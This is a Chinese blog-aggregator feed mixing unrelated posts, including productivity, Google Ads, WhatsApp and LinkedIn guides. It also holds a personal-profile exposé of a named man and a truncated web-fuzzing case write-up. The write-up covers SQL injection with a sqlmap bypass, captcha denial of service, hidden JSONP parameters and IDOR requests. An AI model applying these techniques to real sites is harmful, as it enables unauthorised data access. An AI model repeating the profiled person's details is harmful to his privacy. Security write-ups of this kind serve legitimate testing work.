- 博客 贼拉正经的技术博客 2019-12-09 09:47:281578
- 博客 贼拉正经的技术博客 2019-12-09 09:46:461579
- 博客 贼拉正经的技术博客 2019-12-09 09:46:051580
- 博客 贼拉正经的技术博客 2019-12-09 09:45:391581
- 博客 贼拉正经的技术博客 2019-12-09 09:44:201582
- 博客 贼拉正经的技术博客 2019-12-09 09:43:581583
- 博客 贼拉正经的技术博客 2019-12-09 09:43:481584
- 博客 贼拉正经的技术博客 2019-12-09 09:43:361585
- 博客 贼拉正经的技术博客 2019-12-09 09:43:251586
- 博客 贼拉正经的技术博客 2019-12-09 09:43:081587
- 博客 贼拉正经的技术博客 2019-12-09 09:42:551588
- 博客 贼拉正经的技术博客 2019-12-09 09:42:361589
- 博客 Jiajun的编程随想 2019-12-09 08:00:00《flutter中使用RESTful接口》这篇文章简单的介绍一下，flutter中如何请求接口，并且解析响应的JSON，以及如何向服务器发送POST请求。flutter中请求JSON的例子...
- 博客 贼拉正经的技术博客 2019-12-08 20:35:201591
- 博客 贼拉正经的技术博客 2019-12-08 20:31:421592
- 博客 贼拉正经的技术博客 2019-12-08 20:31:331593
- 博客 贼拉正经的技术博客 2019-12-08 20:31:141594
- 博客 贼拉正经的技术博客 2019-12-08 20:31:071595
- 博客 Jiajun的编程随想 2019-12-04 08:00:00《Vim YouCompleteMe使用LSP(以dart为例)》YCM(YouCompleteMe)是Vim下大名鼎鼎的补全插件，现在YCM也支持LSP了，因此可以使用YCM来补全支持LSP的代码，再加上YCM自带的语义补全，写起代码来如有神助...
- 博客 Jiajun的编程随想 2019-12-03 08:00:00《flutter webview加载时显示进度》最近在学习flutter，在webview加载页面时，如果网速不好的话，就会一直白屏，用户看到这个场景可能会比较迷惑，因此我们得加个进度条：```dart...
- 博客 Jiajun的编程随想 2019-12-02 08:00:00《SQLAlchemy快速更新或插入对象》写脚本刷数据的时候，常常有这样的需求：如果对象存在，那么更新数据，否则，插入数据。有可能数据源的数据比schema的字段更多，这种时候，就需要想办法把SQLAlchemy中的schema字段取出来，只取需要的字段了。假设我们的schema叫做 `User`...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-11-26 15:44:40
首先概述一下关键信息，我网名叫核攻击，人送外号“核总”，从事网络安全行业已有十多年，常年混迹于国内外各大安全圈，在 T00ls、乌云等各大知名网站、平台的账号（ID）均为“核攻击”（部分不能使用中文字符的网站 ID 为 Nuclear’Atk），经过十多年的摸爬滚打，积累了雄厚的技术知识，略得行内朋友追捧，在国内安全行业略有小名，唯一的官网网址为 lcx.cc，具体请看我的个人介绍。
大概从两三年前开始，陆续有朋友问我，西安某域网络公司（早期为：西安某象网络公司）有个叫核攻击的技术人员是否我本人，我均回答：“不知道，不是我本人。”
从业十余年，历史上有意或无意使用相同或高度相似网名、称号、ID、账号的人非常多（参考历史文章），毕竟这只是个网名，谁都可以用，而且中国这么大、人口这么多，重名重姓并不稀奇，并且精力有限也顾不过来，没必要去计较太多……
但是最近一段时间，陆续有朋友向我打听投资某区块链项目如何，说是该项目的技术负责人就是西安某域网络公司的这个“核攻击”，于是便以为是我本人，我一脸懵逼回答：“不清楚，我没听说也没搞过这项目，不是我本人。”
就在前几天，我抽空仔细想了一下，由于现在市面上区块链等类似投资项目比较敏感，无论上述项目是否安全属实，我都认为这个事情很有必要避嫌，避免以后产生关联……
所以我（核攻击(https://lcx.cc/)）抽空通过百度搜索引擎简单查询了下这个人，发现他自 2015 年起（或更早）就在网络上及日常工作生活中对外吹嘘自己是中国知名黑客、乌云 ID 核攻击等等，近几年业务主要以区块链类项目为主。
相关结果如下所示，文中所有资料均来自国家企业信用信息公示系统或第三方权威且公开的机构或公司或QQ、微信个人资料查询所得，不涉及任何人的隐私信息。
总之一句话，核攻击只是个网名，我可以叫核攻击，你也可以叫“核攻击”，其他任何人也都可以叫“核攻击”，但是其他叫核攻击的人正在做的项目或者未来即将做的任何事情，都和我没有任何关系。
个人资料
姓名：郭瑞
性别：男
身高：183cm
体重：200+ (估计)
年龄：32 (1987)
星座：水瓶座 (1.20 - 2.18)
公司：西安某域网络公司
职业：企业法人、技术研发
先后毕业于西安音乐学院打击乐专业、西安工业大学电子工程专业。
相关照片
- 博客 Jiajun的编程随想 2019-11-26 08:00:00《修复Linux下curl等无法使用letsencrypt证书》遇到一个奇怪的问题，由于我的博客使用的是letsencrypt，浏览器可以正常访问，但是命令行却不可以。```bash...
- 博客 王子亭的博客 2019-11-25 01:00:00
又一年过去了，已经 24 岁了，最近两年我已经有些感觉到了时间的流逝。大概人对时间流逝的感觉是基于已经度过的时间吧 —— 同样的一年在 16 岁时是经历过人生的 1/16，而现在的一年则只是 1/23。这就开始让我在很多事情上有一种「会不会太晚了」的焦虑，尤其今年移民的进程并不顺利，之前觉得自己年龄小的优势可能会越来越小。
最近两年学习和输出的节奏也慢了一些，休息时间更多地选择看视频来放松，表达欲望也比之前下降了不少。偶尔会有一些灵感，但大多没能写完，都积压在了草稿箱中，博客快要变成年更了。这当然不是一个好现象，我还是希望能花更多的时间做一些输出。今年我决定减少在业余时间对于写代码的投入，不去造一些很可能没有什么后续的轮子了。而是花更多的时间在写文章，包括技术文章上，这样能帮助到更多人，我也会得到更直接的反馈。
虽然去年和蛋黄的那次比较大的矛盾在年初就结束了，但对我一整年的心态的影响还是很大，有些患得患失，对我们的未来有点迷茫，或者说觉得未来是很遥远的事情，就想维持现有的状态。就像人们觉得 35 岁之后诞生的科技都是违反自然规律的，现在想想我们互相对于在一起之前或刚在一起时就已经暴露出来的差异，就更容易互相接受；但对于之后才暴露出来的差异则非常难以互相理解。
蛋黄在年初就说要学习编程并希望直接去找编程相关的工作，一年里她也断断续续、三天打渔两头晒网地学，但进度实在太慢了，也没有什么阶段性的进展，还不愿意听我的建议。所以我还是对她的工作和学习能力有一些担忧、担心她能够找到合适的工作，也担心之前完全交给她的移民的事情是否做出了正确的决策。如果没有的话，其实包括学习编程和移民，都是在坚持一个结果非常渺茫的事情，这种感觉让我非常焦虑。
- 博客 Jiajun的编程随想 2019-11-24 08:00:00《欣赏一下K&R两位大神的代码》这段代码来自UNIX v6，作用是分配和归还内核管理的内存，使用的是first-fit算法，也就是遍历，找到第一个合适的空间，就返回那块空间...
- 博客 庭说 2019-11-24 00:00:00
GTD （Getting Things Done ）直接翻译为「把事情做完」，本身就很可能让人误解成：你必须做完所有的事情。更贴切的翻译是：「把事情处理完」或者「把事情做好」，因为你不可能完成所有事情。by Topbook
GTD 的目的
- 清空大脑，把大脑从「要做什么」和「怎么做」的混乱当中拯救出来（moving planned tasks and projects out of the mind by recording them externally）。
- 随时随地都明确地知道，下一步应该做什么（breaking them into actionable work items）。
GTD 的流程
- 捕获（Capture）：主动让清空大脑，把所有的大小事情都捕获在一起，装进你的收集箱（Inbox）
- 明晰（Clarify）：一件件拎出收集箱当中的事情，每一件都问自己五个问题。
- 这件事可行动吗？
- 否：回收箱（Trash）
- 否：可能清单（Someday / maybe）
- 否：参考资料（Reference）
- 能一步搞定吗？
- 否：项目清单（“Plan project“ task），然后制定计划并细化到执行清单。
- 2 分钟内可以搞定吗?
- 是：立刻做
- 这件事该我做吗？
- 否：等待清单（”Waiting for“ task），提前跟进并细化到执行清单。
- 有特定时间吗？
- 否：执行清单（”@Context” task）
- 是：在日历中建立日程
- 这件事可行动吗？
- 组织（Organize）
- 回顾（Reflect）
- 从收集箱出去的项目永远不要再放回收集箱。
- 项目清单中的事项需要你主动将其拆解，步骤，并为其谋划执行方案，把大项目拆解成小步骤，并分解到其他清单当中。
- 主动确定等待清单是否被完成，回收箱和可能清单中的事项是否有变动（变成可执行或其他）。
- 日历或提醒事项应用中的提醒是否恰当，是否要流出裕量时间。
- 执行（Engage）
GTD 的步骤
步骤 捕获 明晰 组织 回顾 执行 事项收集 1️⃣ 全部放进收集箱 每日回顾 3️⃣ 这些事该放进哪个分区？ 4️⃣ 放进合适的分区 1️⃣ 收集箱清空了吗
5️⃣ 收集全了吗
7️⃣ 等待清单下一步？在做吗？如何了？
8️⃣ 可能清单下一步？在做吗？如何了？
6️⃣ 项目清单下一步？在做吗？如何了？2️⃣ 两分钟可执行：Do it！ 事项处理 1️⃣ 日历中的事项严格按日期处理
2️⃣ 按重要程度处理执行清单中的事项每周回顾 1️⃣ 查漏补缺
2️⃣ 主动收集- 事项收集：这个步骤是随时随地都在发生的。收集之后，按照 GTD 的原则，如果没有经过明晰、组织等其他步骤，最好是不要开始执行。
- 每日回顾：把回顾作为每天的第一件或者最后一件事情，进行一次梳理；先回顾「等待清单」和「可能清单」。
- 等待清单：不止要写下等待事项，还要明确等待的下一步是什么，主动拿结果。
- 可能清单：也尽量不要被动地等待它发生的时机，而要自己主动去思考，这件事可行性有多大。把思考这件事，也放进执行清单。
- 项目清单：问自己下一步是什么，并把下一步放进执行清单；如果步骤复杂，你的下一步就是专门写计划、做方案，然后再下一步应该做什么，就你的计划或方案中。
- 事项处理：提高自己的执行力。
- 每周回顾：利用检查清单，查漏补缺
GTD 的实践
- 规划大段连续的时间给复杂任务。
- 立即执行简单任务。
收集箱（Inbox）
- 把所有事情，无论大小，统统放进收集箱。
- 按照明晰（Clarify）法则把事情归类到其他分区
执行清单（”@Context” task）
原则
- 你不可能完成所有事情
- 充足的睡眠，健康的身体
- 不牺牲人际关系和个人幸福感
- 要事第一（First Things First）：尽可能做离你目标更近的事情
做法
- 一次只处理一件事情：执行清单都是可以一步搞定的事情
- 规划好时间
- 做好时间预估
- 为特别事件预留时间：每天预留半个钟消灭执行清单的其他事情
- 使用 番茄钟 提高效率：例如 Forest 或手机自带的计时器
- 打破负罪感幻觉：专注于手头的事情
- 消息可以晚些再回
- 电话可以晚些再打
- 决定可以晚些再做
等待清单（”Waiting for“ task）
以「我需要客户 A 的一份合同样本」为例：
- 事先告知对方，请在明天下午四点以前（而不是下班），将合同样本发我，好向财务确定拨款事宜，这样对方就能早一点收到钱啦。对方听到跟自己利益相关，自然会比较上心。
- 下午上班时（两点）如果还未收到对方发来的合同样本，再次温馨提醒对方，不要忘了四点左右发合同样本哦。
项目清单（“Plan project“ task）
- 做计划、做方案是每个人的必修课。
- 同步更新到执行清单。
可能清单（Someday / maybe）
当时机成熟，可能的事情变成可以的时候，你要专门为它做计划，而不是想想就做。
参考资料（Reference）
分类：
- 网络搜索引擎
- 个人知识库
- 能够辅助你完成现阶段工作的标准参考资料，比如检查清单
- 智慧，或者对智慧的见解，它们通常都是值得纪念的、值得留存的、值得回味的、值得学习的、值得反复诵读的
如何准备：
- 回归常识，避免追逐新、奇、怪，而忽略最基本的万物运作规律
- 提高信息的检索、辨别能力
- 提高参考资料的存档标准
- 搜索引擎能够找到的，对你来说浅显而平常的知识，不用专门存档
- 一些出现的新概念，但旧瓶装新酒、换汤不换药的，不用专门存档
回收箱（Trash）
- 客户 B 突然跟你说：因为一些原因，展会临时取消了。
- 于是，你把这件事扔进回收箱。
- 但是，回收箱的事情也可能变成可以做的事情，比如客户 B 突然又告诉你说，取消的展会又要开了。
GTD 的工具
- 如何把 GTD 部署到 OneNote 中？
- 我目前是部署在 Microsoft To Do（微软待办）
本文整理自：GTD 自我管理、时间管理视频教程| 远离瞎忙迷茫懒癌拖延症| 从零开始，科学地认识和使用GTD 时间管理法则
- 博客 Jiajun的编程随想 2019-11-19 08:00:00《MySQL的ON DUPLICATE KEY UPDATE语句》有这么一种场景：- 查找记录...
- 博客 Jiajun的编程随想 2019-11-17 08:00:00《使用microk8s快速搭建k8s》以前都是用minikube的，minikube默认起一个Virtualbox虚拟机（也可以使用kvm驱动来起kvm虚拟机），今天我们介绍一个新的玩意儿。由Ubuntu维护的microk8s...
- 博客 Jiajun的编程随想 2019-11-15 08:00:00《Python中优雅的处理文件路径》写代码（尤其是脚本的时候）经常会遇到要处理文件路径的问题，通常有这么几个考量：- 简单易懂...
- 博客 Jiajun的编程随想 2019-11-14 08:00:00《Go语言MySQL时区问题》最近由于我要统一技术栈，因此把原本使用SQLite做存储的数据全部迁移到MySQL。博客也是。不过当我检查数据库时，发现时间和我产生数据的时间相差8小时...
- 博客 庭说 2019-11-14 00:00:00
Google Ads，原名 Google AdWords，是 Google 公司主要的广告服务产品，也是 Google 的主要收入来源，发布于 2000 年 10 月 23 日。by 维基百科
前言
适合投放 Google Ads 的独立站
- Google Ads 渠道优先级高
- 能展示实力，包装得高大上
- 发询盘的体验好
- Name
- Email Address
- Talk About Your Needs
- 回询盘的速度快
关键词调研
哪里找
- Google 搜索下拉联想词
- Google Ads 的关键字规划师
- 用大词去搜
- 英语
- 所有位置
- 寻找新关键字 - 输入同行网址（仅此网页）反查关键词
- AnswerThePublic
- KWFinder
- B2B 平台：alibaba.com
- 竞争对手的网站：Google 搜索
关键词 -site:alibaba.com -site:made-in-china
如何在
关键字规划师确认搜索量的具体数值- 获取搜索量和预测数据
- 输入关键词
- 搜索网络：Google
- 时间：下个月
- 最高每次点击费用：最高
关键词定价
- 不同地区，不同出价
- 按匹配类型出价
- 词组匹配：建议价格的 50% ~ 60%
- 完全匹配：建议价格的 80% ~ 90%
- 广泛匹配：建议价格的 20% ~ 30%
- 按设备类型出价
- 单独投放：复制 PC 端的关键词到移动端
- 建议价格：PC 端的 60%
搭建独立站
搭建步骤
- 策划：画出每个页面的草图
- 筹备：域名、空间、设计师、程序员……
- 素材：文案、图片、视频……
- 建站
- 调试
- 上线：开始投放广告
如何找设计师和程序员
国内可以在淘宝找做过外贸网站的工作室，记得看看 Ta 们的作品。
国外渠道的自由职业平台
Google 搜索：website building service
基本页面
Homepage首页About Us介绍Products产品Single Product产品详情（For Google Ads）Blog / News / Knowledge博客Single Post博客详情（For SEO）Contact Us联系
重视产品详情页
- 大标题：匹配 Ads 和 SEO
- 副标题：辅助介绍
- 产品主图
- 产品详细介绍
- 客户的文字评价
- 利于填写询盘的表单
- 让人感兴趣的促销文案：Free Sample / Discount
- 与众不同的产品特点（Feature）
- 与你合作的好处（Benefit）
- Call To Action
优化建议
- 优化移动端（响应式设计）： 移动设备适合性测试
- 提高网站打开速度（3 秒钟之内）
- 测试工具一：PageSpeed Insights
- 测试工具二：GTmetrix（PageSpeed Score + YSlow Score ＞ 180%）
- 重视文案，避免 Chinglish：Fluent.Express
- 添加社交链接（Find Us On）
制作广告
开户（Account）
- 网站语言切换成 简体中文
- 预算：最低
- 币种：人民币（可开发票，含 6% 的增值税）。
- 结算国家/地区：中国
- 账号类型：注意只有公司才能开发票（税点 ≈ 6%）
- 付款选项：人工付款
- 开户完成后，删除刚刚创建的广告系列
架构层级
- 1 个广告账户包含 25 个广告系列
- 1 个广告系列包含 100 个广告组
- 1 个广告组包含若干广告
广告系列（Ad Campaigns）
可以按照地区划分广告系列。
常规设置
目标：潜在客户
广告系列类型：搜索
何种方式达成目标：网站访问次数
广告系列名称：编号-搜索类型-产品-地区（01-Search-Tomatoes-USA）
投放网络
- 勾选：包含 Google 搜索网络合作伙伴
- 新手不勾选：包含 Google 展示广告网络
定位和受众群体
- 定位：搜索您指定的地理位置的用户
- 排除：搜索您指定的地理位置的用户
- 受众群体：针对 B2C 广告商
预算和出价
- 前期（至少 2 个月）选择自动出价策略积累数据：
尽可能争取更多点击次数 - 后期人工出价策略：
每次点击费用人工出价（新手），并勾选借助智能点击付费获得更多转化 - 广告投放时间
- 日期：
星期一到星期五（B2B 选择工作日） - 时间
- 您设置的广告投放时间以您帐号的时区为准
- 如果您希望广告在一天的末尾开始投放，并在第二天持续投放一段时间，则应为每一天创建一个广 告投放时间。举例来说，如果您使用 12 小时制，要在周一晚上 11:00 点至周二上午 7:00 点之间投放广告，那么周一的广告投放时间应为晚上 11:00 点至午夜 12:00，周二的广告投放时间应为午夜 12:00 点至上午 7:00 点
- 日期：
- 广告轮播
优化：优先展示效果最佳的广告（新手）不优化：无限期轮播广告（老手）
广告附加信息（B2B）
附加链接
附加宣传信息
附加结构化摘要信息
广告组（Ad Groups）
Tips
SKAG：Single Keyword Ad Group（一个广告组只投一个关键词）
每个广告组至少有 3 条附加信息。
广告组类型：
标准广告组名称（用于区分不同的关键词）：序号-关键词-落地页
默认出价
关键词匹配类型
- 广泛匹配（中后期）
- 广泛修饰符
+black phone case：必须出现 black 才会触发广告+tomatoes + factories - potatoes- 适用于中后期
- 只能用于广泛匹配类型
- 可以使用 Google Ads Editor 批量修改关键词
- 词组匹配：出低价，添加否定搜索词（至广告系列）
- 如果用户在您关键字的中间插入了其他字词，您的广告就不会展示
- 示例关键字："女帽" - 性价比
- 示例搜索：蓝色女帽、买女帽、促销女帽
- 完全匹配
- [keywords]
- 出高价，选择精确的长尾关键词，抢占前排
广告（Ads）
建议每个广告组制作至少三个广告，广告应与关键字的主题密切相关。
标题和描述
- 使用点击率最高的单词
- You：Provide You OEM Services
- Your
- Free：Free Sampling in 7 Days、Free Samples Available
- Now：立即购买、
- Get：Get A Free Quote Now!
- Online：立即在线获取报价
- Our
- Save
- Best
- Shipping：B2C
- 使用 Push 性的单词
- Get
- Buy
- Try
- Discover
- 不要写消极负面的文案
- 不使用我们产品，就会 Waist Your Time。
- 用对标点符号
- 句末感叹号：只允许写一个
- 逗号
- 问号
- 百分比
- 美元
最终到达网址
- 链接到产品页面
显示路径
- 不会跳转
投放策略
时期
前期：烧一烧，收集数据，喂饱机器人
中期：把钱花在刀刃上
后期：放手烧，但凡赚钱的词都力争第一；投放再营销广告
B2B：以高价高精度流量作为开端
B2C：低价流量开端，再根据数据做调整
提前 24 小时充值
投放 Remarketing（再营销）广告
好处
- 持续影响客户决策
- 投资回报率高：因为广告是定向投放至目标人群
操作
- 工具与设置 - 受众群体管理器 - 受众群体来源 - Google Ads 代码
- 数据源：仅收集一般性网站访问数据，以向您的网站访问者展示广告。
- 使用 Google 跟踪代码管理器 - 复制转化 ID
- 打开跟踪代码管理器 - 代码 - 新建
- 代码类型：Google Ads 再营销
- 触发条件：All Pages
- 保存 - 提交 - 等待收集到 1000 个潜在客户
投放后
- 搜索量较低：不能投放广告，请改变匹配类型或删除
- 由于质量得分很低而很少展示：展示几率低，请优化质量得分
- 广告相关性
- 目标：平均值或高于平均值
- 做法：修改广告创意
- 着陆页体验
- 目标：平均值或高于平均值
- 做法：检查网址
- 广告相关性
- 出价低于首页出价估算值：排名不稳定
其他
转化
- 依次选择：工具与设置 - 衡量 - 转发
- 转化类型：网站
- 选择要跟踪的操作：购买
- 价值：不为此转化操作指定价值（无法衡量一单的利润）
- 统计方式：每一次
- 使用 Google 跟踪代码管理器：tagmanager.google.com
- 创建账号
- 触发器 - 新建 - 触发器类型：表单提交
- 代码 - 新建 - 代码类型： Google Ads 转化跟踪
- 转化 ID
- 转化标签
- 提交 - 发布
关联 Google Analytics
- 打开 Google Analytics：管理 - 创建账号 - 媒体资源 - 跟踪代码：复制跟踪 ID
- 打开 Google 跟踪代码管理器 - 变量 - 用户定义的变量 - 新建
- 变量类型：Google Analytics（分析）设置
- 粘贴跟踪 ID
- 保存变量名称（全英文）
- 打开 Google 跟踪代码管理器 - 代码 - 新建
- 代码类型：Google Analytics（分析）：Universal Analytics
- 设置变量：刚刚创建好的变量
- 触发条件：All Pages（网页浏览）
- 保存代码名称（全英文）
- 提交
未读资料
- 博客 庭说 2019-11-14 00:00:00
WhatsApp 是 Facebook 公司的旗下一款用于智能手机的跨平台加密即时通信应用程序。
如何解封
预防措施
- 使用纯净的国外 IP
- 避免频繁更换 IP
第一件事
- 发邮件告诉客户你的其他联系方式
- 在申诉期间，注册新号
- 卸载 WhatsApp
- 从官方渠道（Google Play / App Store）下载 WhatsApp
- 用新的手机号码注册 WhatsApp
- 获取通讯录权限
申诉解封
尽量用企业邮箱在 72 小时以内，向以下 email 发送申诉邮件
- 不指定设备：support@support.whatsapp.com
- iPhone 通道：iphone-support@whatsapp.com
- Android 通道：android@support.whatsapp.com
邮件主题 / 标题（Subject）
- Support - WhatsApp Normal use is disabled
正文
- 手机号码：
+86138 3843 8888 - 礼貌陈述。态度诚恳
- 屏幕截图
- 自我介绍时一定要说你是中国企业的业务员，而且公司主要客户都是在这个号码
- 求客服快一点帮你恢复，因为有好几个重要客户正在联系
- 你要做好心里准备客服也不一定这么快回复你，所以你要隔三天联系一次
模板一：
Hi WhatsApp Support Team,
My WhatsApp number has been banned. Please turn it on again.
My number is + 86 156 1024 1024.
Thank you very much.
Tim
模板二：
Hi WhatsApp Support Team,
I'm sorry for the violent WhatsApp Terms & Policy and it's a mistake.
I request you to unbanned my WhatsApp number. Because it's my real
WhatsApp number and many friends are joined with me on WhatsApp also my business clients and the team is on WhatsApp so I will lose everything.I hope will understand my problem. So Please give me one chance and make unbanned my WhatsApp.
My WhatsApp Number is + 86 156 1024 1024.
Thanks,
Tim快速发起对话
- 好处：无需保存联系人到通讯录也能发信息给 Ta。
- 方法：替换后面的电话号码，记得加国际电话区号：
https://api.whatsapp.com/send?phone=8615610241024
最小化客户端
- 以下方法只适用于 Windows 电脑
- 下载 WhatsappTray 并安装
- Download WhatsApp for Windows PC 并安装，然后就可以最小化 WhatsApp 到桌面任务栏的右下角了
关闭自动保存图像在手机上
如要停止将个人对话或群组的媒体文件自动存储到您手机中：
- 开启 WhatsApp
- 点击更多选项 >
设置>对话 - 关闭
媒体文件可见度
传送照片
- 博客 庭说 2019-11-14 00:00:00
像蝗虫一样侵入职场社交，是否会让 LinkedIn 没落？
术语和定义
Follow（关注）: 单向沟通
Connect：成为好友，双向沟通
LinkedIn 怎么读：
Link- ed 发t- 重音放在In，详情观看 视频教程
设置
开启全功能版的 LinkedIn
- 将领英的界面语言更改设置为英文，并用英文创建 Profile
- 切换 到外国 IP 使用领英，会使搜索结果更全面
- 使用桌面端的 Google Chrome（谷歌浏览器），而非 app
好友名单仅对自己可见
Me - Settings & Privacy - Privacy - Who can see your connections: Only you- 避免竞争对面发现自己的客户，但是你和同行之间的共同联系人（Mutual connection）是无法隐藏的
工作变动、学历更改不分享到人脉圈
Add experience - Share with network: Off- 档案完善阶段关闭这个设置，以免在人脉圈刷屏
完善个人资料（Profile）
在此之前，先看看领英官方视频教程：五步打造酷炫领英档案。
Background image背景 Banner 图- 尺寸：1584 × 396 px
- 一眼看出产品或服务
Profile photo职业照- 一定是本人出镜，正脸示人，看得出性别（不用产品图、团队合影、Logo、虚拟人物、宠物花草……）
- 照片背景简单，面带亲切友好的笑容
- 视频教程：如何获得一张完美的领英职业照？
Name姓名- First name（名）+ Last name（姓）
- Former Name（曾用名）
- 取名小工具：根据中文名的发音和意义来为你匹配地道的英文名 by 扇贝
Headline职业头衔- 直接说自己是销售会让客户第一感官上认为你就是来推销的，可以改成核心产品 / 行业关键词 + 制造商 / 服务商 / 供应商 / 产品经理 / 专家，例如 Product Manger， Engineer Director。
- 视频教程：定制一个出彩的领英档案头衔
Summary自我简介- 你是谁 + 你能提供什么产品服务 + 你的优势是什么 + 你能给客户带来什么好处 + 权威认证 + 网站联系方式，并且搭配着作品文件（Media）去顺势完成这项内容，比如你可以在作品文件（Media）里上传体现你公司文化 / 实力的照片 / 展现你个人魅力的照片 / 参展照片 / 生产照片 / 客户合影等等
Work experience工作经历 +Education教育经历- 真实
- 你的信息完善的越详细，你在客户心里的可信度也就越高，并且同样配置照片和链接去完成
Skills技能专长- 使用系统推荐的 + 核心产品行业关键词
Accomplishments个人成就- 你和客户一起完成的一次项目 / 你参加的一次展会 / 你的一次成长经历 / 你参加的公司活动等等
Contact info联系方式Profile URL职业档案网址：核心产品 / 行业 + 名字，例如www.linkedin.com/in/outdoor-jadon
Edit public profile & URL编辑公开档案及网址- 方便客户通过搜索引擎（例如 Google、Bing）找到你
档案填好以后
- 测试 LinkedIn 社交营销影响力 是否在 60 分以上。
- 点击右上角的
Work-Create a Company Page建立公司主页。
发布视频动态
剪辑视频：VN now
封面：Canva
加字幕（上传 YouYube，等待它生成字幕，然后下载）
第一帧作为封面
How to Edit Youtube Captions and then Download files in 2018
使用 Native Video 原生视频（非 YouTube）
一周一发（月初准备好 4 个视频）
视频描述只显示 3 行，要吸引人
- You never know what happened to my factory today!
- Have you installed LED lights at the bottom of the bathtub?
加上 Video 这个关键词
- This is my first video on linkedin, it drives me crazy!
- I took this video at the factory yesterday, guess what?
- I found that blablabla. I learned to play mozart's songs with a guitar! Hope you like this video.
- This is my first video on LinkedIn. It drives me crazy. If you like my video, please click the like button below.
添加好友
找到对你业务感兴趣的关键决策人
- LinkedIn 高级搜索
- LinkedIn 群组
没开会员，看不到名字，就把简介放在 Google 上，就能跳过这个限制。
然后发送 Connect Note（邀请语）：
Hi,
This is Tim from China, I am very glad to know you on LinkedIn. And I hope to be connected with you and talk more about OUTDOOR GEAR in further days together.
Best regards,
Tim
Hi,
This is Tim, CEO of
***, I'd like to be your fan on LinkedIn.I have over 20 years' experience in
***, any questions, I'm happy to help.Hope I can be your friend here.
Either way, keep up your awesome work on LinkedIn.
Cheers,
Tim
参考资料
- 我是如何把Linkedin个人账号 做到 22,533 个粉丝的 （详细步骤）
- 学生党领英漫游指南 The Student Hitchhiker's Guide to LinkedIn
- 关注领英的 微信公众号（ID：LinkedIn-China）
- 博客 Jiajun的编程随想 2019-11-13 08:00:00《我的技术栈选型》工作已经几年了，逐步摸索到了自己的技术上限 --- 还是计算机五大件。不断的追新和扩展广度已经没有太大意义，它们的实现原理也都了解的差不多，因此现在是时候开始收缩技术栈，缩小需要不断更新的知识范围，节省精力去做更有意义的事情，把常用技术栈固定下来，并且保持小量更新的状态...
- 博客 轶哥博客 2019-11-12 15:36:53<>在新版的 Wi10 中，微软添加了
Widow Hello 人脸、Widow Hello 指纹、安全密钥等登陆方式。对于不搭载专属配件的设备来说，实现任意一种免密登录的成本都比较高。而DigiSark成本非常低，不到7元包邮，可以实现模拟键鼠。受USB免密登录的启发，通过DigiSark实现 Widow 免密登录，可以做到移动密钥的效果 —— 插入即可免密登录，拔出则自动锁定设备。 - 博客 Randy's Blog 2019-11-12 08:00:001613
- 博客 Jiajun的编程随想 2019-11-11 08:00:00《为什么我要用Linux作为桌面？》最近看到一个帖子，说某山软件的流氓行径，不由得让我想叨叨几句：为什么我要用Linux做桌面。当然，要意识到，偏激的极端的东西总是不好的，用Linux做桌面必然是因为Linux能够满足我的需求，为什么我能用Linux做桌面呢？...
- 博客 Vulkey_Chen's Blog 2019-11-11 00:00:00
WebFuzzing方法和漏洞案例总结
作者：Vulkey_Chen
博客：gh0st.cn
背景
之前有幸做过一次线下的议题分享《我的Web应用安全模糊测试之路》，讲解了一些常用的WebFuzzing技巧和案例，该议题得到了很大的回响，很多师傅们也与我进行了交流，但考虑到之前分享过很多思路非常不全面，这里以本篇文章作为一次总结，以实战引出技巧思路（方法）。
我的Web应用安全模糊测试之路议题解读：
https://gh0st.cn/archives/2018-07-25/1（推荐阅读）实战案例
以下分享的案例都是个人在参与项目或私密众测邀请时遇见的真实案例，案例大多基于个人收集和整理的
FuzzDict项目（字典库）。
其中涉及的一些漏洞可能无法作为Fuzzing归类，这里也进行了强行的归类，只是想告诉大家漏洞挖掘中思路发散的重要性，个人也觉得比较经典。
注： 漏洞案例进行了脱敏以及细节上的修改。
案例-Add
[SQLi注入漏洞]
1.获得项目子域：
https://xxx.com2.目录扫描发现
/user/目录，二层探测发现/register接口，其意为：“注册”
3.根据返回状态信息去Fuzz用户名、密码参数->结果：
uname\pwd4.对
uname参数进行SQL注入测试，简单的逻辑判断存在5.注入点使用16进制的方式无法注入，SQLmap参数
--no-escape即可绕过
[拒绝服务]图片验证码
图片验证码DoS（拒绝服务攻击）这个思路很早就出来了，当时的第一想法就是采集样本收集参数，使用搜索引擎寻找存在图片验证码的点：
根据这些点写了个脚本进行半自动的参数收集：
在漏洞挖掘的过程中，经常会抓取图片验证码的请求进行Fuzz：
图片验证码地址：https://xxx/validateCode
Fuzz存在潜藏参数，可控验证码生成大小：
[JSONP]无中生有
获得一个敏感信息返回的请求端点：
http://xxx/getInfo使用
callback_dict.txt字典进行Fuzz：
成功发现
callback这个潜藏参数：
[逻辑漏洞]响应变请求
这里同样是获得一个敏感信息返回的请求端点：
http://xxx/getInfo返回的信息如下所示：
{"responseData":{"userid":"user_id","login":"user_name","password":"user_password","mobilenum":"user_mobilephone_number","mobileisbound":"01","email":"user_email_address"}}尝试了一些测试思路都无法发现安全漏洞，于是想到了
响应变请求思路。将响应报文的JSON字段内容转化为HTTP请求的字段内容（BurpSuite插件项目：
https://github.com/gh0stkey/JSONandHTTPP）：
将相关的信息字段内容替换为测试账号B的信息（例如：login=A -> login=B）
发现无法得到预期的越权漏洞，并尝试分析该网站其他请求接口对应的参数，发现都为大写，将之前的参数转换为大写：
继续Fuzz，结果却出人意料达到了预期：
案例-Update
[逻辑漏洞]命名规律修改
一个登录系统，跟踪JS文件发现了一些登录后的系统接口，找到其中的注册接口成功注册账户进入个人中心，用户管理处抓到如下请求：
POST URL: https://xxx/getRolesByUserId POST Data: userId=1028返回如下信息：
可以看见这里的信息并不敏感，但根据测试发现userId参数可以进行越权遍历
根据url判断这个请求的意思是根据用户id查看用户的身份，url中的驼峰方法(getRolesByUserId)惊醒了我，根据命名规则结构我将其修改成getUserByUserId，也就是根据用户id获取用户，也就成为了如下请求包。
POST URL: https://xxx/getUserByUserId POST Data: userId=1028
成功返回了敏感信息，并通过修改userId可以越权获取其他用户的信息。
[逻辑漏洞]敏感的嗅觉
在测一个刚上线的APP时获得这样一条请求：
POST /mvc/h5/jd/mJSFHttpGWP HTTP/1.1 …… param={"userPin":"$Uid$","addressType":0}而这个请求返回的信息较为敏感，返回了个人的一些物理地址信息：
在这里
param参数是json格式的，其中"userPin":"$Uid$"引起我注意，敏感的直觉告诉我这里可以进行修改，尝试将$Uid$修改为其他用户的用户名、用户ID，成功越权：
[逻辑漏洞]熟能生巧
